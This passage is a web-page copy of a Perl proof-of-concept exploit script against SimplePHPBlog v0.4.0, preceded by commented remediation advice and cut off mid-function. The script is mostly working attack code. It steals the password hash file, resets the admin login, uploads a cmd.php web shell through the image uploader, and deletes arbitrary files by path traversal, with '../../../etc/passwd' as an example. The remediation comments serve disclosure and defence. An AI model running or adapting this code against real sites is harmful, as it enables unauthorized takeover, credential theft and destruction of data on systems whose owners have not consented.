&lt;br&gt;#			IndexIgnore *
&lt;br&gt;#
&lt;br&gt;#			&amp;lt;Files .htaccess&amp;gt;
&lt;br&gt;#			order allow,deny
&lt;br&gt;#			deny from all
&lt;br&gt;#			&amp;lt;/Files&amp;gt;
&lt;br&gt;#			
&lt;br&gt;#			&amp;lt;Files *.txt&amp;gt;
&lt;br&gt;#			order allow,deny
&lt;br&gt;#			deny from all
&lt;br&gt;#			&amp;lt;/Files&amp;gt;
&lt;br&gt;#			#---------------------
&lt;br&gt;#			#Snip .htaccess end
&lt;br&gt;#			#---------------------
&lt;br&gt;#
&lt;br&gt;#
&lt;br&gt;#			*** Solution 3
&lt;br&gt;#			See &lt;a href=&quot;http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0885.html&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0885.html&lt;/a&gt;&lt;br&gt;#				for PHP modification to upload image script.
&lt;br&gt;#===============================================================================
&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;#	Global Paramaters
&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;use strict;
&lt;br&gt;use warnings;
&lt;br&gt;&lt;br&gt;use vars qw/ %args /;
&lt;br&gt;&lt;br&gt;use Getopt::Std;
&lt;br&gt;require LWP::UserAgent;
&lt;br&gt;my $ua = LWP::UserAgent-&amp;gt;new;
&lt;br&gt;&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;#	Global Routines
&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;#Determine Operating System
&lt;br&gt;my $OperatingSystem = $^O;
&lt;br&gt;my $unix = &amp;quot;&amp;quot;;
&lt;br&gt;&lt;br&gt;#Set OS Parameter
&lt;br&gt;if (index(lc($OperatingSystem),&amp;quot;win&amp;quot;)!=-1){
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;$unix=&amp;quot;0&amp;quot;; #windows system
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }else{
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $unix=&amp;quot;1&amp;quot;; #unix system
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;#	The Main Menu
&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;sub menu()
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if ($unix){system(&amp;quot;clear&amp;quot;);}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 	else{system(&amp;quot;cls&amp;quot;);}
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;
&lt;br&gt;________________________________________________________________________________
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SimplePHPBlog v0.4.0 Exploits
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;by
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Kenneth F. Belva, CISSP
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;a href=&quot;http://www.ftusecurity.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.ftusecurity.com&lt;/a&gt;&lt;br&gt;________________________________________________________________________________
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Program	: $0
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Version	: v0.1
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Date	: 8/25/2005
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Descript: This perl script demonstrates a few flaws in
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SimplePHPBlog.
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Comments: THIS PoC IS FOR EDUCATIONAL PURPOSES ONLY...
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DO NOT RUN THIS AGAINST SYSTEMS TO WHICH YOU DO 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; NOT HAVE PERMISSION TO DO SO!
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Please see this script comments for solution/fixes 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; to demonstrated vulnerabilities. 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.simplephpblog.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.simplephpblog.com&lt;/a&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Usage	: $0 [-h host] [-e exploit]
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -? &amp;nbsp; &amp;nbsp; &amp;nbsp;: this menu
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -h &amp;nbsp; &amp;nbsp; &amp;nbsp;: host
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -e	: exploit
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (1)	: Upload cmd.php in [site]/images/
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (2)	: Retreive Password file (hash)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (3)	: Set New User Name and Password
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [NOTE - uppercase switches for exploits]
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -U	: user name
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -P	: password
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (4)	: Delete a System File
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -F	: Path and System File 
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Examples: $0 -h 127.0.0.1 -e 2
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $0 -h 127.0.0.1 -e 3 -U l33t -P l33t
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $0 -h 127.0.0.1 -e 4 -F ./index.php
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $0 -h 127.0.0.1 -e 4 -F ../../../etc/passwd
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $0 -h 127.0.0.1 -e 1
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;quot;;	
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&lt;br&gt;&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;#	Initial Routine
&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; sub init()
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use Switch;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # colon ':' after letter says that option takes variable
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $opt_string = 'e:U:P:h:F:?';
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; getopts( &amp;quot;$opt_string&amp;quot;, \%args ) or menu();
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #Load parameters
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $exploit = $args{e};
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $host = $args{h};
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $user = $args{U};
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $pass = $args{P};
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $file = $args{F};
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # What shall we do today?
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; switch (%args) {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case &amp;quot;?&amp;quot;	{ menu();}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case &amp;quot;e&amp;quot;	{
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; switch ($exploit) {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if ($unix){system(&amp;quot;clear&amp;quot;);}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else{system(&amp;quot;cls&amp;quot;);}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;
&lt;br&gt;________________________________________________________________________________
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SimplePHPBlog v0.4.0 Exploits
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;by
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Kenneth F. Belva, CISSP
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.ftusecurity.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.ftusecurity.com&lt;/a&gt;&lt;br&gt;________________________________________________________________________________&amp;quot;;
&lt;br&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Upload cmd.php to /images
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case &amp;quot;1&amp;quot; {	print &amp;quot;\nRunning cmd.php Upload Exploit....\n\n&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;UploadCmdPHP($host);}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Retrieve Username &amp; Password hash
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case &amp;quot;2&amp;quot; {	print &amp;quot;\nRunning Username and Password Hash Retrieval Exploit....\n\n&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;RetrievePwd($host.&amp;quot;/config/password.txt&amp;quot;);}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Replace Username and Password
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case &amp;quot;3&amp;quot; {	print &amp;quot;\nRunning Set New Username and Password Exploit....\n\n&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;SetUserPwd($host,$user,$pass);}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Delete a System File
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; case &amp;quot;4&amp;quot; {	print &amp;quot;\nRunning Delete System File Exploit....\n\n&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;DeleteFile($host . &amp;quot;/comment_delete_cgi.php?y=05&amp;m=08&amp;comment=&amp;quot;,$file);}
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } #end $exploit switch
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &amp;quot;\n\n\n*** Exploit Completed....\nHave a nice day! :)\n&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } #end &amp;quot;e&amp;quot; case
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else		{ menu();}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } #end %args switch
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; } #end sub init
&lt;br&gt;&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;#	Exploit #1: Upload File Via POST 
&lt;br&gt;#-------------------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;sub UploadCmdPHP {
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my($url) = @_;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use LWP;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use HTTP::Request::Common qw(POST);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $ua = LWP::UserAgent-&amp;gt;new;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $HTTP::Request::Common::DYNAMIC_FILE_UPLOAD++;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #Step 1: Retrieve hash
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #-----------------------------------------------------------------------
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $hash = &amp;RetrievePwd($url.&amp;quot;/config/password.txt&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #Step 2: Delete Existing Password file (SetUserPwd)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #Step 3: Create a temporary user id and password (SetUserPwd)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #-----------------------------------------------------------------------
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;SetUserPwd($url,&amp;quot;a&amp;quot;,&amp;quot;a&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #Step 4: Log into the app and get the PHPSession / my_id session variable
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #-----------------------------------------------------------------------
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $SETcookie = &amp;strip_session(&amp;Login($url . &amp;quot;/login_cgi.php&amp;quot;,&amp;quot;a&amp;quot;,&amp;quot;a&amp;quot;));
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #Step 5: Create and upload our scripts (cmd.php &amp; reset.php)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #-----------------------------------------------------------------------
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;CreateTempPHPs();
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Upload cmd.php
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $path = &amp;quot;./cmd.php&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $file = &amp;quot;cmd.php&amp;quot;;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; my $req = POST($url.&amp;quot;/upload_img_cgi.php&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Cookie =&amp;gt; 'PHPSESSID='.$SETcookie.'; my_id='.$SETcookie,
